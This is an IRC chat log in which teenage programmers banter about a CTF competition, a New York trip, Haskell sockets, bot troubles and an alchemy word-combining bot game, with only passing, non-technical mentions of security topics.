[2014-12-28T00:37:41-0500] <Tamini_> he was not very okay with it :P
[2014-12-28T00:37:52-0500] <Tamini_> nezorg: hey! :)
[2014-12-28T00:38:20-0500] <Tamini_> alokpathy: you should help me with what we have so far tho
[2014-12-28T00:39:31-0500] <+alokpathy> Tamini_: Sure :P
[2014-12-28T00:50:30-0500] <Tamini_> alokpathy: not sure what to do
[2014-12-28T00:50:34-0500] <Tamini_> bring laptop to ny or no
[2014-12-28T00:52:41-0500] <+alokpathy> Tamini_: Why are you going to NY again?
[2014-12-28T00:53:59-0500] <Tamini_> vacation
[2014-12-28T00:54:04-0500] <Tamini_> plus shows operas books etc
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[2014-12-28T01:00:15-0500] <sdamashek> hi
[2014-12-28T01:01:03-0500] <+alokpathy> sdamashek: woo you're back
[2014-12-28T01:01:05-0500] <Tamini> ohai we got a friend
[2014-12-28T01:01:05-0500] <Tamini> <3
[2014-12-28T01:01:11-0500] <Tamini> alokpathy: i told you i'd get him back
[2014-12-28T01:01:16-0500] <Tamini> this is the one thing I have over jacob! :P
[2014-12-28T01:01:51-0500] <sdamashek> yeah I restarted my client and this isn't on autoconnect
[2014-12-28T01:01:59-0500] <Tamini> heh
[2014-12-28T01:02:09-0500] <+alokpathy> Oh xD
[2014-12-28T01:02:15-0500] <Tamini> oh, since you're here
[2014-12-28T01:02:19-0500] <Tamini> wanna ctf? <3
[2014-12-28T01:02:40-0500] <sdamashek> what ctf?
[2014-12-28T01:02:48-0500] <+alokpathy> sdamashek: 31c3
[2014-12-28T01:02:59-0500] <+alokpathy> https://31c3ctf.aachen.ccc.de/announcements/
[2014-12-28T01:03:17-0500] <sdamashek> sure, is there an account?
[2014-12-28T01:03:58-0500] <Tamini> lol
[2014-12-28T01:04:03-0500] <Tamini> you're going to laugh so hard at the credentials
[2014-12-28T01:04:07-0500] <Tamini> (alok, this is okay, right?)
[2014-12-28T01:04:12-0500] <+alokpathy> Tamini: Yeah, sure.
[2014-12-28T01:04:16-0500] <Tamini> you get a sam, I get a sam
[2014-12-28T01:04:16-0500] <Tamini> :P
[2014-12-28T01:16:04-0500] <+LittleBobbyTables> hi friend
[2014-12-28T01:16:47-0500] <Tamini> wait, when did sammy leave?
[2014-12-28T01:16:52-0500] <Tamini> our sam count is only at 2 :(
[2014-12-28T02:18:31-0500] <sdamashek> hey
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[2014-12-28T10:41:28-0500] <alokpathy> Tamini: Wow, they didn't order the pwnables in order of point value
[2014-12-28T10:41:51-0500] <@awe> hi sdamashek!
[2014-12-28T10:41:53-0500] <alokpathy> What trolls
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[2014-12-28T10:59:22-0500] <+JacobEdelman> Tamini: is TJCTF gonna be assocaited with HSCS.io?
[2014-12-28T11:52:06-0500] <jwoglom> hey, sdamashek's back
[2014-12-28T11:52:10-0500] <jwoglom> sdamashek: hi
[2014-12-28T12:14:56-0500] <ubuntor> JacobEdelman: probably not
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[2014-12-28T16:01:18-0500] <nezorg> "Degrees of Freedom: 55,302"
[2014-12-28T16:01:20-0500] <nezorg> never a good sign
[2014-12-28T16:01:31-0500] <bob_twinkles> o_o
[2014-12-28T16:01:44-0500] <@awe> o.o
[2014-12-28T16:02:33-0500] <alokpathy> :|
[2014-12-28T16:02:44-0500] <nezorg> there's probably a reason the solution isn't converging
[2014-12-28T16:02:59-0500] <bob_twinkles> yes
[2014-12-28T16:03:20-0500] <bob_twinkles> the fact that you need 5 digits to represent the number of degrees of freedom seems like a good place to start
[2014-12-28T16:03:47-0500] <nezorg> let's try linear instead of nonlinear
[2014-12-28T16:07:24-0500] <nezorg> "Degrees of Freedom: 55,353"
[2014-12-28T16:07:30-0500] <bob_twinkles> worse
[2014-12-28T16:07:34-0500] <bob_twinkles> what even are you doing?
[2014-12-28T16:08:07-0500] <nezorg> trying to see if this part I designed will withstand the load it has to
[2014-12-28T16:08:30-0500] <bob_twinkles> aren't there ways of doing that purely numerically
[2014-12-28T16:08:52-0500] <bob_twinkles> instead of trying to solve a system with 55k degrees of freedom?
[2014-12-28T16:09:04-0500] <nezorg> this is numerically
[2014-12-28T16:10:04-0500] <bob_twinkles> how are you simulating it though
[2014-12-28T16:10:37-0500] <nezorg> solidworks
[2014-12-28T16:11:28-0500] <bob_twinkles> is it doing like a finite time step numerical integration or something fancier?
[2014-12-28T16:11:47-0500] <nezorg> probably fancier
[2014-12-28T16:11:55-0500] <nezorg> it's pretty black-box though
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[2014-12-28T16:14:55-0500] <nezorg> methinks I didn't apply fixtures right (first is how it's supposed to look, second is deformed result): http://imgur.com/a/UYL45
[2014-12-28T16:18:45-0500] <bob_twinkles> perhaps not
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[2014-12-28T17:02:58-0500] <Tamini_> bleh
[2014-12-28T17:03:07-0500] <Tamini_> i just made the smart choice of walking through times square
[2014-12-28T17:03:18-0500] <+JacobEdelman> whats bleh?
[2014-12-28T17:04:42-0500] <alokpathy> Tamini_: How's NYC? :P
[2014-12-28T17:04:56-0500] <Tamini_> cold, people
[2014-12-28T17:05:00-0500] <Tamini_> show was really good tho
[2014-12-28T17:05:12-0500] <Tamini_> i met a guy from my ctf team here lol
[2014-12-28T17:07:34-0500] <+JacobEdelman> wow, really? there are people in nyc?
[2014-12-28T17:07:40-0500] <+JacobEdelman> I would never have known .... :P
[2014-12-28T17:08:52-0500] <Tamini_> lol
[2014-12-28T17:08:57-0500] <Tamini_> lots of people
[2014-12-28T17:14:59-0500] <alokpathy> NYC is pretty rural. I'm surprised people are there today.
[2014-12-28T17:15:55-0500] <Tamini_> yeah, obv
[2014-12-28T17:31:41-0500] <hardmath123> so someone tried to hack backtick.town
[2014-12-28T17:31:50-0500] <hardmath123> already
[2014-12-28T17:35:29-0500] <nezorg> hardmath123: how so?
[2014-12-28T17:37:36-0500] <hardmath123> i think they tried to shellshock us
[2014-12-28T17:39:20-0500] <ubuntor> ...
[2014-12-28T17:40:02-0500] <hardmath123> we weren't even running cgi :P
[2014-12-28T17:42:26-0500] <+JacobEdelman> hardmath123: it was probaly one of the users
[2014-12-28T17:42:32-0500] <+JacobEdelman> hardmath123: doing ti for fun
[2014-12-28T17:42:39-0500] <+JacobEdelman> *it
[2014-12-28T17:42:54-0500] <+JacobEdelman> I mean, sql attacks are a great house warming gift :P
[2014-12-28T17:54:59-0500] <Tamini_> wait wait alokpathy omg
[2014-12-28T17:55:01-0500] <Tamini_> help
[2014-12-28T17:55:20-0500] <alokpathy> Tamini_: ?
[2014-12-28T17:55:23-0500] <Tamini_> i found a hard copy of HTAOE, but its expensive
[2014-12-28T17:55:25-0500] <Tamini_> what do
[2014-12-28T17:55:41-0500] <Tamini_> im at a used bookstore in new york and im doing that thing we did in princeton but alone
[2014-12-28T17:55:57-0500] <alokpathy> Wait
[2014-12-28T17:56:00-0500] <alokpathy> are you in the one that'd likew
[2014-12-28T17:56:04-0500] <alokpathy> 2 ft from Strand?
[2014-12-28T17:56:40-0500] <Tamini_> i am in strand
[2014-12-28T17:56:41-0500] <Tamini_> LOL
[2014-12-28T17:56:46-0500] <Tamini_> good try
[2014-12-28T17:56:52-0500] <Tamini_> 10/10 you missed by 2 feet
[2014-12-28T17:57:46-0500] <Tamini_> but why
[2014-12-28T17:58:13-0500] <alokpathy> Also HTAOE?
[2014-12-28T17:58:33-0500] <alokpathy> Oh, art of exploitation
[2014-12-28T17:59:30-0500] <Tamini_> yeaah
[2014-12-28T17:59:36-0500] <Tamini_> make this decision for me
[2014-12-28T17:59:43-0500] <alokpathy> Just get a pdf online LOL
[2014-12-28T17:59:47-0500] <Tamini_> i go way too all out on books i need a rational decisionmaker
[2014-12-28T17:59:55-0500] <Tamini_> yes, but hard copy :<
[2014-12-28T18:02:31-0500] <nezorg> what is this, a decade ago?
[2014-12-28T18:04:55-0500] <Tamini_> i like hard copies of books
[2014-12-28T18:04:55-0500] <Tamini_> they make me happy.
[2014-12-28T18:06:08-0500] <alokpathy> Tamini_: I have the solution
[2014-12-28T18:06:13-0500] <alokpathy> Get the pdf copy
[2014-12-28T18:06:15-0500] <alokpathy> print everything
[2014-12-28T18:06:16-0500] <alokpathy> get cardboard
[2014-12-28T18:06:17-0500] <alokpathy> boom
[2014-12-28T18:06:56-0500] <Tamini_> LOL
[2014-12-28T18:07:05-0500] <Tamini_> GOOD SOLUTION
[2014-12-28T18:07:08-0500] <Tamini_> 10/10
[2014-12-28T18:07:12-0500] <Tamini_> its okay i have money
[2014-12-28T18:07:18-0500] <Tamini_> christmas present to me :O
[2014-12-28T18:07:27-0500] <alokpathy> Good. You can pay for the paper and ink.
[2014-12-28T18:07:44-0500] <Tamini_> hehe
[2014-12-28T18:08:10-0500] <alokpathy> :o HP7P1 on ABC Family
[2014-12-28T18:08:23-0500] <+JacobEdelman> I gots https://protonmail.ch/
[2014-12-28T18:09:15-0500] <alokpathy> nicenice
[2014-12-28T18:12:13-0500] <+JacobEdelman> its pretty
[2014-12-28T18:12:30-0500] <+JacobEdelman> also
[2014-12-28T18:12:34-0500] <+JacobEdelman> Strand is awesome
[2014-12-28T18:15:50-0500] <Tamini_> ^
[2014-12-28T18:15:55-0500] <Tamini_> makes me feel happy
[2014-12-28T18:16:18-0500] <Tamini_> i basically gained 10 math books
[2014-12-28T18:17:14-0500] <+JacobEdelman> nice
[2014-12-28T18:17:17-0500] <+JacobEdelman> I got a few books
[2014-12-28T18:17:26-0500] <+JacobEdelman> just a few days ago
[2014-12-28T18:17:28-0500] <+JacobEdelman> it was fun
[2014-12-28T18:17:49-0500] <+JacobEdelman> nyc is good
[2014-12-28T18:23:06-0500] <Tamini_> haha yeah
[2014-12-28T18:23:26-0500] <Tamini_> watched a musical today
[2014-12-28T18:23:26-0500] <@awe> You received an encrypted email from the ProtonMail user jacobe. The link to view the encrypted message is:
[2014-12-28T18:23:29-0500] <@awe> JacobEdelman: ^
[2014-12-28T18:51:51-0500] <Tamini_> alokpathy: did you solve things yet
[2014-12-28T19:04:07-0500] <alokpathy> Tamini_: I made some progress, I think.
[2014-12-28T19:04:24-0500] <Tamini_> ooh, pm me details <3
[2014-12-28T19:09:15-0500] <bob_twinkles> at some point I decided to type everything as a ByteString and I can't remember why
[2014-12-28T19:09:24-0500] <bob_twinkles> and now everything is hard
[2014-12-28T19:09:29-0500] <bob_twinkles> hmm
[2014-12-28T19:09:48-0500] <Tamini_> lolol why
[2014-12-28T19:09:56-0500] <Tamini_> why would you
[2014-12-28T19:10:07-0500] <bob_twinkles> oh, right
[2014-12-28T19:10:22-0500] <bob_twinkles> because the Network.Sockets package operates on ByteStrings
[2014-12-28T19:10:46-0500] <bob_twinkles> wait no
[2014-12-28T19:11:00-0500] <bob_twinkles> the Network.Sockets.ByteString module operates on ByteStrings
[2014-12-28T19:11:06-0500] <bob_twinkles> past bob_twinkles wtf were you smoking
[2014-12-28T19:24:16-0500] <@awe> lol
[2014-12-28T19:24:38-0500] <alokpathy> We've all had those moments.
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[2014-12-28T19:48:07-0500] <nezorg> bob_twinkles: what's wrong with ByteString?
[2014-12-28T19:48:21-0500] <nezorg> unless you're actually trying to handle text
[2014-12-28T19:48:32-0500] <nezorg> in which case you should use Text
[2014-12-28T20:00:29-0500] <bob_twinkles> nezorg: nothing's wrong with it, it's just annoying to have to convert everything to/from normal Strings when I don't get anything for using a ByteString
[2014-12-28T20:00:38-0500] <bob_twinkles> Network.Socket uses normal strings just fine
[2014-12-28T20:00:58-0500] <nezorg> well, what are you processing?
[2014-12-28T20:01:11-0500] <@awe> A text-based protocol.
[2014-12-28T20:01:18-0500] <@awe> bob_twinkles: you're doing IRC stuff, right?
[2014-12-28T20:01:22-0500] <bob_twinkles> yep
[2014-12-28T20:01:34-0500] <nezorg> ah
[2014-12-28T20:01:45-0500] <Tamini_> oh yeah
[2014-12-28T20:01:49-0500] <nezorg> String is pretty inefficient though... it's not used much anymore
[2014-12-28T20:01:53-0500] <Tamini_> how's that going, bob_twinkles?
[2014-12-28T20:02:25-0500] <nezorg> *inefficient for most use cases
[2014-12-28T20:02:28-0500] <bob_twinkles> I keep getting distracted by Real Life and college essays
[2014-12-28T20:02:35-0500] <bob_twinkles> yeah, I'll look in to text
[2014-12-28T20:02:43-0500] <nezorg> cool
[2014-12-28T20:03:07-0500] <bob_twinkles> what I really need is a good way to do like stream processing from a network socket
[2014-12-28T20:03:23-0500] <bob_twinkles> if I want to be superduper efficient anyway
[2014-12-28T20:03:31-0500] <bob_twinkles> but that doesn't seem like it's supported
[2014-12-28T20:03:55-0500] <nezorg> what's wrong with conduit?
[2014-12-28T20:04:00-0500] <nezorg> or whatever the other one is
[2014-12-28T20:04:09-0500] <bob_twinkles> I haven't heard of them =P
[2014-12-28T20:04:20-0500] <nezorg> ah :P
[2014-12-28T20:04:28-0500] <nezorg> they're pretty cool
[2014-12-28T20:04:35-0500] <bob_twinkles> I'm still trying to develop the vocabulary to effectively google for haskell stuff
[2014-12-28T20:04:42-0500] <nezorg> but definitely take some getting used to
[2014-12-28T20:04:51-0500] <nezorg> yeah, I wouldn't recommend them for haskell beginners
[2014-12-28T20:06:34-0500] <@awe> Yeah, conduit is what you want.
[2014-12-28T20:08:11-0500] <bob_twinkles> hmm, there is irc-conduit
[2014-12-28T20:09:25-0500] <bob_twinkles> now if the miserable excuse for a router I'm trying to use would actually pass traffic, everything would be great
[2014-12-28T20:14:35-0500] <bob_twinkles> Conduit doesn't look that bad after banging my head against FRP on and off all week
[2014-12-28T20:16:33-0500] <alokpathy> nezorg: Oh did you record that seminar thing you did?
[2014-12-28T20:21:18-0500] <Tamini_> ^
[2014-12-28T20:21:23-0500] <Tamini_> also lol, real life
[2014-12-28T20:21:31-0500] <Tamini_> bob_twinkles: are you coming to the party?
[2014-12-28T20:22:44-0500] <nezorg> alokpathy: haven't done it yet :P
[2014-12-28T20:24:38-0500] <Tamini_> nezorg: when is it?
[2014-12-28T20:25:00-0500] <nezorg> good question!
[2014-12-28T20:25:08-0500] <nezorg> hopefully sometime this week!
[2014-12-28T20:26:55-0500] <alokpathy> Can I Skype in? :P
[2014-12-28T20:27:02-0500] <nezorg> uhhh
[2014-12-28T20:27:15-0500] <nezorg> it's probably going to be more of a workshop than a seminar
[2014-12-28T20:27:30-0500] <nezorg> so we'll see
[2014-12-28T20:41:11-0500] <Tamini_> lol stiiill
[2014-12-28T21:11:22-0500] <hardmath123> whooooo just powered through 3 USAMTS problems whoooooooooo
[2014-12-28T21:17:01-0500] <Tamini_> yaaay
[2014-12-28T21:17:04-0500] <Tamini_> wait wasnt it due like
[2014-12-28T21:17:05-0500] <Tamini_> before
[2014-12-28T21:18:51-0500] <hardmath123> round 3 due jan somethingth
[2014-12-28T21:19:11-0500] <hardmath123> they haven't actually graded anything yet, though
[2014-12-28T21:19:15-0500] <hardmath123> which is very annoying
[2014-12-28T21:19:25-0500] <@awe> nezorg: do you know any way to link a dependency as a dynamic lib with cargo?
[2014-12-28T21:19:36-0500] <@awe> nezorg: I can fix my awebot problems by making openssl dynamic. .-.
[2014-12-28T21:19:50-0500] <hardmath123> it's like "go solve these problems in 4 weeks" and then "no we haven't looked at your solution yet"
[2014-12-28T21:20:35-0500] <Tamini_> ooh
[2014-12-28T21:21:26-0500] <alokpathy> Tamini_: Are you doing the CF round on Tuesday?
[2014-12-28T21:22:12-0500] <Tamini_> im in new york
[2014-12-28T21:22:17-0500] <Tamini_> tuesday
[2014-12-28T21:22:23-0500] <Tamini_> ugh matt's going to yell at me :(
[2014-12-28T21:25:24-0500] <alokpathy> :(
[2014-12-28T21:26:20-0500] <Tamini_> win cf for me <3
[2014-12-28T21:26:24-0500] <Tamini_> get to red ;)
[2014-12-28T21:26:41-0500] <alokpathy> :|
[2014-12-28T21:28:23-0500] <Tamini_> i believe
[2014-12-28T21:28:30-0500] <Tamini_> be scottwu#2
[2014-12-28T21:29:24-0500] <alokpathy> We'll see about that LOL
[2014-12-28T21:29:36-0500] <Tamini_> i believe in you
[2014-12-28T21:29:38-0500] <Tamini_> you the man
[2014-12-28T21:29:42-0500] <Tamini_> :D
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[2014-12-29T11:46:59-0500] <alokpathy> Hi Tamini_ 
[2014-12-29T11:47:10-0500] <alokpathy> Welcome.
[2014-12-29T11:47:12-0500] <Tamini_> hi alokpathy
[2014-12-29T11:48:55-0500] <alokpathy> What if there aren't any actual humans in this channel?
[2014-12-29T11:48:59-0500] <alokpathy> What if everybody is actually just
[2014-12-29T11:49:03-0500] <alokpathy> a sentient bot?
[2014-12-29T11:49:03-0500] <alokpathy> :o
[2014-12-29T12:01:25-0500] <Tamini_> wait this is new to you?
[2014-12-29T12:01:29-0500] <Tamini_> :O
[2014-12-29T12:04:08-0500] <alokpathy> Yes :|
[2014-12-29T12:06:41-0500] <Tamini_> yer a bot
[2014-12-29T12:06:43-0500] <Tamini_> im a bog
[2014-12-29T12:06:46-0500] <Tamini_> bot*
[2014-12-29T12:06:50-0500] <Tamini_> we're allll bots here
[2014-12-29T12:44:57-0500] <alokpathy> :|
[2014-12-29T12:45:21-0500] <@awe> Beep boop.
[2014-12-29T12:45:23-0500] <@awe> butthole: beep boop.
[2014-12-29T12:45:23-0500] <butthole> awe: or caves
[2014-12-29T12:45:25-0500] <@awe> butthole: beep boop.
[2014-12-29T12:45:25-0500] <butthole> awe: holy
[2014-12-29T12:45:27-0500] <@awe> butthole: beep boop.
[2014-12-29T12:45:27-0500] <butthole> awe: d oit
[2014-12-29T12:55:02-0500] <Tamini_> butthole: beep
[2014-12-29T12:55:03-0500] <butthole> Tamini_: May
[2014-12-29T12:55:13-0500] <Tamini_> the force be with you?
[2014-12-29T12:55:55-0500] <alokpathy> butthole: May the force be with you.
[2014-12-29T12:55:55-0500] <butthole> alokpathy: you.
[2014-12-29T12:56:06-0500] <alokpathy> Me too? Aw shucks :3
[2014-12-29T12:56:48-0500] <@awe> lol.
[2014-12-29T12:56:52-0500] <@awe> butthole: isn't very useful.
[2014-12-29T12:56:53-0500] <butthole> awe: :o
[2014-12-29T12:57:01-0500] <@awe> butthole: sorry, but it's true.
[2014-12-29T12:57:02-0500] <butthole> awe: true. I put it doesn't do i use pointers
[2014-12-29T12:57:24-0500] <alokpathy> What happened to awebot?
[2014-12-29T12:57:29-0500] <alokpathy> butthole: What did you do with awebot?
[2014-12-29T12:57:29-0500] <butthole> alokpathy: with torrenting?
[2014-12-29T12:57:30-0500] <@awe> he's off.
[2014-12-29T12:57:43-0500] <alokpathy> But why? :(
[2014-12-29T12:58:11-0500] <Tamini_> i miss awebot
[2014-12-29T12:58:14-0500] <Tamini_> awebot liked me
[2014-12-29T12:58:24-0500] <@awe> I don't know. awebot won't start now.
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[2014-12-29T12:58:58-0500] <@awe> No idea why.
[2014-12-29T12:59:48-0500] <@awe> I'm going to restart my computer.
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[2014-12-29T13:07:17-0500] Set by awe on December 26, 2014 at 2:26:46 PM EST
[2014-12-29T12:59:48-0500] <@awe> I'm going to restart my computer.
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[2014-12-29T13:19:12-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2014-12-29T13:19:12-0500] Set by awe on December 26, 2014 at 2:26:46 PM EST
[2014-12-29T12:59:48-0500] <@awe> I'm going to restart my computer.
[2014-12-29T13:19:12-0500] Mode is +ns
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[2014-12-29T14:26:09-0500] Pidgey sets mode +v JacobEdelman
[2014-12-29T14:50:49-0500] <+hardmath123> JacobEdelman: you have 2 groot bots running
[2014-12-29T14:51:08-0500] <+hardmath123> and exactly 0 of them are connected to the server
[2014-12-29T14:51:53-0500] <alokpathy> Tamini_: Woo got casino
[2014-12-29T14:51:59-0500] <alokpathy> Tamini_: We now have solved 2 problems
[2014-12-29T14:52:30-0500] <alokpathy> Tamini_: and I am not useless LOL
[2014-12-29T14:58:48-0500] <Tamini_> yaay <3
[2014-12-29T14:58:57-0500] <Tamini_> tell me how you did it!
[2014-12-29T14:59:33-0500] <alokpathy> It was basically just integer overflow lol
[2014-12-29T15:06:36-0500] <Tamini_> oh really lol
[2014-12-29T15:10:17-0500] <alokpathy> Yeah XD
[2014-12-29T15:10:22-0500] <alokpathy> I have a feeling some teams might have like
[2014-12-29T15:10:27-0500] <alokpathy> solved it by accident.
[2014-12-29T15:10:58-0500] <alokpathy> Did the rest of our team quit? LOL
[2014-12-29T15:11:44-0500] <alokpathy> But yeah general idea was put in a huge number that gave you enough units and then you can run flag
[2014-12-29T15:12:55-0500] <Tamini_> oh LOL srsly
[2014-12-29T15:13:09-0500] <Tamini_> also idk im in nyc
[2014-12-29T15:16:17-0500] <alokpathy> Well I'll look back at cfy
[2014-12-29T15:16:43-0500] <alokpathy> Also I am
[2014-12-29T15:16:45-0500] <alokpathy> officially 
[2014-12-29T15:16:47-0500] <alokpathy> done with apps
[2014-12-29T15:16:48-0500] <alokpathy> woo
[2014-12-29T15:17:56-0500] <Tamini_> yaaay
[2014-12-29T15:18:02-0500] <Tamini_> does this mean we get to arch party
[2014-12-29T15:18:42-0500] <alokpathy> Soon, yeah lol
[2014-12-29T15:19:10-0500] <Tamini_> :P
[2014-12-29T15:25:50-0500] <Tamini_> groot
[2014-12-29T15:26:01-0500] <Tamini_> wow they arent here
[2014-12-29T15:26:56-0500] <alokpathy> Wait
[2014-12-29T15:26:57-0500] <alokpathy> we dont' have
[2014-12-29T15:27:00-0500] <alokpathy> a single bot
[2014-12-29T15:27:06-0500] <alokpathy> aside from Pidgey 
[2014-12-29T15:27:14-0500] <alokpathy> and JacobEdelman 
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[2014-12-29T15:28:58-0500] <alokpathy> :o
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[2014-12-29T15:29:44-0500] <+hardmath123> @help
[2014-12-29T15:29:45-0500] <alchemy> To mix a new brew: `@combine <element> <element>`
[2014-12-29T15:29:45-0500] <alchemy> To list your elements: `@list`
[2014-12-29T15:29:45-0500] <alchemy> Also try `@encourage` and `@hint`.
[2014-12-29T15:29:53-0500] <alokpathy> wooooooooooooooo
[2014-12-29T15:29:54-0500] <alokpathy> @list
[2014-12-29T15:29:55-0500] <alchemy> You have: snowman, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, aaron, ent, man, puddle, plant, fireman
[2014-12-29T15:29:55-0500] <alchemy> You have: fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, steam, rust
[2014-12-29T15:29:55-0500] <alchemy> That's 37 out of 102!
[2014-12-29T15:29:56-0500] <Tamini_> alchemyyyy
[2014-12-29T15:29:57-0500] <+hardmath123> code i wrote more than a month ago works
[2014-12-29T15:30:02-0500] <+hardmath123> this is surreal
[2014-12-29T15:30:09-0500] <Tamini_> @combine metal fire
[2014-12-29T15:30:10-0500] <alchemy> You just discovered sword (metal + fire)!
[2014-12-29T15:30:14-0500] <Tamini_> wat
[2014-12-29T15:30:14-0500] <alokpathy> wow
[2014-12-29T15:30:15-0500] <alokpathy> LOL
[2014-12-29T15:30:20-0500] <Tamini_> @combine sword man
[2014-12-29T15:30:21-0500] <alchemy> You just discovered knight (sword + man)!
[2014-12-29T15:30:21-0500] <alokpathy> 1/1 Tamini_ 
[2014-12-29T15:30:27-0500] <+hardmath123> 2/2 O.o
[2014-12-29T15:30:28-0500] <alokpathy> 2/2
[2014-12-29T15:30:35-0500] <Tamini_> i just combined two things i saw lol
[2014-12-29T15:30:41-0500] <alokpathy> Tamini_: y u so good at this game LOL
[2014-12-29T15:30:50-0500] <alokpathy> @combine steam rust
[2014-12-29T15:30:51-0500] <alchemy> steam and rust don't make anything exciting.
[2014-12-29T15:30:53-0500] <alokpathy> :(
[2014-12-29T15:31:01-0500] <alokpathy> @combine sword knight
[2014-12-29T15:31:02-0500] <alchemy> sword and knight don't make anything exciting.
[2014-12-29T15:31:03-0500] <alokpathy> wat
[2014-12-29T15:31:05-0500] <alokpathy> false
[2014-12-29T15:31:09-0500] <Tamini_> lol
[2014-12-29T15:31:09-0500] <+hardmath123> STREAK LOST
[2014-12-29T15:31:16-0500] <alokpathy> Her streak is still on
[2014-12-29T15:31:19-0500] <alokpathy> mine never started LOL
[2014-12-29T15:31:23-0500] <Tamini_> Lol
[2014-12-29T15:31:25-0500] <alokpathy> @list
[2014-12-29T15:31:26-0500] <alchemy> You have: snowman, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, aaron, ent, sword, man, puddle, plant
[2014-12-29T15:31:26-0500] <alchemy> You have: fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, knight, steam, rust
[2014-12-29T15:31:26-0500] <alchemy> That's 39 out of 102!
[2014-12-29T15:31:34-0500] <alokpathy> @combine sword neanderthal
[2014-12-29T15:31:35-0500] <alchemy> sword and neanderthal don't make anything exciting.
[2014-12-29T15:31:41-0500] <jwoglom> @combine electricity snowman
[2014-12-29T15:31:42-0500] <alchemy> electricity and snowman don't make anything exciting.
[2014-12-29T15:31:45-0500] <alokpathy> @combine aaron snwoman
[2014-12-29T15:31:46-0500] <alchemy> You don't have snwoman!
[2014-12-29T15:31:50-0500] <alokpathy> @combine aaron snowman
[2014-12-29T15:31:51-0500] <alokpathy> :o
[2014-12-29T15:31:52-0500] <alchemy> aaron and snowman don't make anything exciting.
[2014-12-29T15:31:54-0500] <alokpathy> damn
[2014-12-29T15:32:00-0500] <alokpathy> @combine knight aaron
[2014-12-29T15:32:01-0500] <alchemy> knight and aaron don't make anything exciting.
[2014-12-29T15:32:07-0500] <jwoglom> @combine wind air
[2014-12-29T15:32:08-0500] <alokpathy> @combine villain knight
[2014-12-29T15:32:08-0500] <alchemy> wind and air don't make anything exciting.
[2014-12-29T15:32:09-0500] <alchemy> villain and knight don't make anything exciting.
[2014-12-29T15:32:18-0500] <alokpathy> @combine sentience knight
[2014-12-29T15:32:19-0500] <alchemy> You just discovered chivalry (sentience + knight)!
[2014-12-29T15:32:22-0500] <alokpathy> YOOO
[2014-12-29T15:32:26-0500] <bob_twinkles> @combine water water
[2014-12-29T15:32:26-0500] <alchemy> You just discovered ocean (water + water)!
[2014-12-29T15:32:27-0500] <Tamini_> whoooo
[2014-12-29T15:32:30-0500] <Tamini_> streak started
[2014-12-29T15:32:34-0500] <Tamini_> yay, bob_twinkles
[2014-12-29T15:32:37-0500] <bob_twinkles> @combine water fire
[2014-12-29T15:32:38-0500] <alchemy> You already combined water and fire to get steam.
[2014-12-29T15:32:40-0500] <alokpathy> bob_twinkles: nicenice
[2014-12-29T15:32:41-0500] <bob_twinkles> oh whups
[2014-12-29T15:32:44-0500] <alokpathy> dammit
[2014-12-29T15:32:44-0500] <Tamini_> duude
[2014-12-29T15:32:49-0500] <Tamini_> are you coming wednesday or no
[2014-12-29T15:32:54-0500] <bob_twinkles> uh
[2014-12-29T15:33:00-0500] <bob_twinkles> what's wednesday?
[2014-12-29T15:33:08-0500] <Tamini_> michael's party
[2014-12-29T15:33:12-0500] <bob_twinkles> oh
[2014-12-29T15:33:17-0500] <bob_twinkles> uh, if I'm back in town
[2014-12-29T15:33:22-0500] <bob_twinkles> dunno if I will though
[2014-12-29T15:33:37-0500] <bob_twinkles> @combine fire earth
[2014-12-29T15:33:38-0500] <alchemy> You already combined fire and earth to get lava.
[2014-12-29T15:33:41-0500] <bob_twinkles> -_-
[2014-12-29T15:33:42-0500] <alokpathy> @list
[2014-12-29T15:33:43-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, aaron, ent, sword, ocean, man
[2014-12-29T15:33:43-0500] <alchemy> You have: puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, knight, steam
[2014-12-29T15:33:43-0500] <alchemy> You have: rust
[2014-12-29T15:33:43-0500] <alchemy> That's 41 out of 102!
[2014-12-29T15:33:47-0500] <alokpathy> @combine rust rust
[2014-12-29T15:33:48-0500] <alchemy> rust and rust don't make anything exciting.
[2014-12-29T15:33:57-0500] <alokpathy> @combine chivalry aaron
[2014-12-29T15:33:58-0500] <alchemy> chivalry and aaron don't make anything exciting.
[2014-12-29T15:33:59-0500] <bob_twinkles> @combine water lava
[2014-12-29T15:34:01-0500] <alchemy> You already combined water and lava to get stone.
[2014-12-29T15:34:04-0500] <alokpathy> lololololol
[2014-12-29T15:34:05-0500] <bob_twinkles> *sigh*
[2014-12-29T15:34:21-0500] <bob_twinkles> pls2alphebetize
[2014-12-29T15:34:23-0500] <alokpathy> @combine wind wind
[2014-12-29T15:34:24-0500] <@awe> Oh, look. alchemy.
[2014-12-29T15:34:25-0500] <alchemy> You just discovered tornado (wind + wind)!
[2014-12-29T15:34:28-0500] <alokpathy> woooooo
[2014-12-29T15:34:42-0500] <bob_twinkles> @combine water earth
[2014-12-29T15:34:43-0500] <alchemy> water and earth don't make anything exciting.
[2014-12-29T15:34:47-0500] <alokpathy> @combine tornado mountain
[2014-12-29T15:34:48-0500] <alchemy> tornado and mountain don't make anything exciting.
[2014-12-29T15:34:56-0500] <alokpathy> @combine tornado wind
[2014-12-29T15:34:57-0500] <alchemy> tornado and wind don't make anything exciting.
[2014-12-29T15:35:00-0500] <alokpathy> @combine tornado sandstorm
[2014-12-29T15:35:02-0500] <alchemy> tornado and sandstorm don't make anything exciting.
[2014-12-29T15:35:04-0500] <alokpathy> @combine tornado water
[2014-12-29T15:35:05-0500] <alchemy> tornado and water don't make anything exciting.
[2014-12-29T15:35:06-0500] <bob_twinkles> @combine wind rain
[2014-12-29T15:35:08-0500] <alchemy> wind and rain don't make anything exciting.
[2014-12-29T15:35:10-0500] <alokpathy> hmm
[2014-12-29T15:35:15-0500] <alokpathy> @combine wind ocean
[2014-12-29T15:35:16-0500] <alchemy> wind and ocean don't make anything exciting.
[2014-12-29T15:35:20-0500] <+JacobEdelman> @combine aaron rust
